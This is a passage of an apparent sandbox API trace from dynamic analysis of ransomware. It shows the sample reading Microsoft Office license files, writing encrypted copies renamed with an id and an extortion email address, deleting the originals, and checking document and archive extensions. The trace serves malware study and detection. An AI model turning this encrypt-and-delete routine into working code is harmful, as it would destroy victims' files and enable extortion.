	[0181.041] lstrlenW (lpString=".jpg") returned 4
	[0181.041] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.042] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.042] lstrlenW (lpString="O365ProPlusR_Subscription5-ppd.xrm-ms") returned 37
	[0181.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.042] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=28261) returned 1
	[0181.042] CloseHandle (hObject=0x3d4) returned 1
	[0181.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 0x220
	[0181.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.043] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.043] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.044] GetLastError () returned 0x0
	[0181.044] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0181.046] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0181.047] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.047] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0181.047] SetEndOfFile (hFile=0x504) returned 1
	[0181.047] CloseHandle (hObject=0x504) returned 1
	[0181.047] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.047] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.050] CloseHandle (hObject=0x3d4) returned 1
	[0181.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 1
	[0181.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.051] lstrlenW (lpString=".doc") returned 4
	[0181.051] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.051] lstrlenW (lpString=".docx") returned 5
	[0181.051] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.051] lstrlenW (lpString=".pdf") returned 4
	[0181.052] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString=".xls") returned 4
	[0181.052] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString=".xlsx") returned 5
	[0181.052] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.052] lstrlenW (lpString=".ppt") returned 4
	[0181.052] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.052] lstrlenW (lpString=".zip") returned 4
	[0181.052] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString=".rar") returned 4
	[0181.052] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString=".bz2") returned 4
	[0181.052] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString=".7z") returned 3
	[0181.052] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.052] lstrlenW (lpString=".dbf") returned 4
	[0181.052] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.052] lstrlenW (lpString=".1cd") returned 4
	[0181.052] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.052] lstrlenW (lpString=".jpg") returned 4
	[0181.052] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.052] lstrlenW (lpString=".doc") returned 4
	[0181.052] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString=".docx") returned 5
	[0181.052] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.052] lstrlenW (lpString=".pdf") returned 4
	[0181.052] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.052] lstrlenW (lpString=".xls") returned 4
	[0181.052] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.053] lstrlenW (lpString=".xlsx") returned 5
	[0181.053] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.053] lstrlenW (lpString=".ppt") returned 4
	[0181.053] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.053] lstrlenW (lpString=".zip") returned 4
	[0181.053] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.053] lstrlenW (lpString=".rar") returned 4
	[0181.053] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.053] lstrlenW (lpString=".bz2") returned 4
	[0181.053] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.053] lstrlenW (lpString=".7z") returned 3
	[0181.053] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.053] lstrlenW (lpString=".dbf") returned 4
	[0181.053] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.053] lstrlenW (lpString=".1cd") returned 4
	[0181.053] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0181.053] lstrlenW (lpString=".jpg") returned 4
	[0181.053] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.053] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.053] lstrlenW (lpString="O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 40
	[0181.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.054] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11646) returned 1
	[0181.054] CloseHandle (hObject=0x3d4) returned 1
	[0181.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0181.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.055] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.055] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.055] GetLastError () returned 0x0
	[0181.055] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0181.174] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0181.175] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.175] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x124, lpOverlapped=0x0) returned 1
	[0181.175] SetEndOfFile (hFile=0x504) returned 1
	[0181.175] CloseHandle (hObject=0x504) returned 1
	[0181.175] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.175] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.178] CloseHandle (hObject=0x3d4) returned 1
	[0181.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 1
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.179] lstrlenW (lpString=".doc") returned 4
	[0181.179] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".docx") returned 5
	[0181.179] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.179] lstrlenW (lpString=".pdf") returned 4
	[0181.179] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".xls") returned 4
	[0181.179] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".xlsx") returned 5
	[0181.179] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.179] lstrlenW (lpString=".ppt") returned 4
	[0181.179] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.179] lstrlenW (lpString=".zip") returned 4
	[0181.179] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".rar") returned 4
	[0181.179] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".bz2") returned 4
	[0181.179] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString=".7z") returned 3
	[0181.179] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.179] lstrlenW (lpString=".dbf") returned 4
	[0181.179] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.179] lstrlenW (lpString=".1cd") returned 4
	[0181.179] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.180] lstrlenW (lpString=".jpg") returned 4
	[0181.180] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.180] lstrlenW (lpString=".doc") returned 4
	[0181.180] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString=".docx") returned 5
	[0181.180] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.180] lstrlenW (lpString=".pdf") returned 4
	[0181.180] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString=".xls") returned 4
	[0181.180] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString=".xlsx") returned 5
	[0181.180] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.180] lstrlenW (lpString=".ppt") returned 4
	[0181.180] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.180] lstrlenW (lpString=".zip") returned 4
	[0181.180] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString=".rar") returned 4
	[0181.180] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString=".bz2") returned 4
	[0181.180] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString=".7z") returned 3
	[0181.180] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.180] lstrlenW (lpString=".dbf") returned 4
	[0181.180] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.180] lstrlenW (lpString=".1cd") returned 4
	[0181.180] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0181.180] lstrlenW (lpString=".jpg") returned 4
	[0181.180] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.181] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.181] lstrlenW (lpString="O365ProPlusR_SubTrial4-pl.xrm-ms") returned 32
	[0181.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.181] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11179) returned 1
	[0181.181] CloseHandle (hObject=0x3d4) returned 1
	[0181.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 0x220
	[0181.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.182] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.182] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.183] GetLastError () returned 0x0
	[0181.183] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0181.184] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0181.186] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.186] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x114, lpOverlapped=0x0) returned 1
	[0181.186] SetEndOfFile (hFile=0x504) returned 1
	[0181.186] CloseHandle (hObject=0x504) returned 1
	[0181.186] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.186] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.190] CloseHandle (hObject=0x3d4) returned 1
	[0181.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 1
	[0181.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.192] lstrlenW (lpString=".doc") returned 4
	[0181.192] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString=".docx") returned 5
	[0181.192] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.192] lstrlenW (lpString=".pdf") returned 4
	[0181.192] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString=".xls") returned 4
	[0181.192] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString=".xlsx") returned 5
	[0181.192] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.192] lstrlenW (lpString=".ppt") returned 4
	[0181.192] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.192] lstrlenW (lpString=".zip") returned 4
	[0181.192] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString=".rar") returned 4
	[0181.192] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString=".bz2") returned 4
	[0181.192] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString=".7z") returned 3
	[0181.192] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.192] lstrlenW (lpString=".dbf") returned 4
	[0181.192] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.192] lstrlenW (lpString=".1cd") returned 4
	[0181.192] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.192] lstrlenW (lpString=".jpg") returned 4
	[0181.192] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.193] lstrlenW (lpString=".doc") returned 4
	[0181.193] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString=".docx") returned 5
	[0181.193] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.193] lstrlenW (lpString=".pdf") returned 4
	[0181.193] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString=".xls") returned 4
	[0181.193] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString=".xlsx") returned 5
